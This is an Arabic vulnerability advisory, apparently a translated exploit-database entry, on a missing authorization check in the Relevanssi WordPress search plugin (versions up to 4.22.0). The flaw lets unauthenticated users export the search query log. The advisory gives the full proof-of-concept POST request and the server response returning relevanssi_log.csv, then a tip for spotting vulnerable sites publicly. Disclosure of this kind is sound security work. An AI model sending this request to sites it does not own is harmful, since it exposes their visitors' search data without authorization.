
Relevanssi – A Better Search <= 4.22.0 - ثغرة عدم التحقق من الصلاحية تؤدي إلى تصدير سجل الاستعلامات دون مصادقة
Relevanssi – A Better Search <= 4.22.0 - نقص التفويض يسمح بتصدير سجل الاستعلام بدون مصادقة
إضافة Relevanssi – A Better Search لووردبريس معرضة للوصول غير المصرح به للبيانات بسبب فقدان فحص القدرة (capability check) في الدالة relevanssi_export_log_check() في جميع الإصدارات حتى 4.22.0. هذا يتيح للمهاجمين غير الموثقين تصدير بيانات سجل الاستعلام. أشار البائع إلى أنه قد ينظر في إضافة فحص قدرة للتحكم المناسب في التفويض، ومع ذلك، يتم معالجة هذه الثغرة نظرياً كما هي.
الطلب
POST /wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab=logging HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab=logging
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: http://kubernetes.docker.internal
Connection: keep-alive
tab=logging&relevanssi_omit_from_logs=&relevanssi_trim_logs=&relevanssi_export=Export+the+log+as+a+CSV+file
الاستجابة
HTTP/1.1 200 OK
Date: Wed, 25 Sep 2024 14:46:13 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.11
Expires: Tue, 03 Jul 2001 06:00:00 GMT
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate
Last-Modified: Wed, 25 Sep 2024 14:46:14 GMT
Content-Disposition: attachment;filename=relevanssi_log.csv
Content-Transfer-Encoding: binary
Content-Length: 29
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/download
"No search keywords logged."
سأقوم بمطابقة اسم الملف filename=relevanssi_log.csv إذا كنت تبحث عن هذا في النطاق العام، حيث لم أقم بأي شيء مع الإضافة.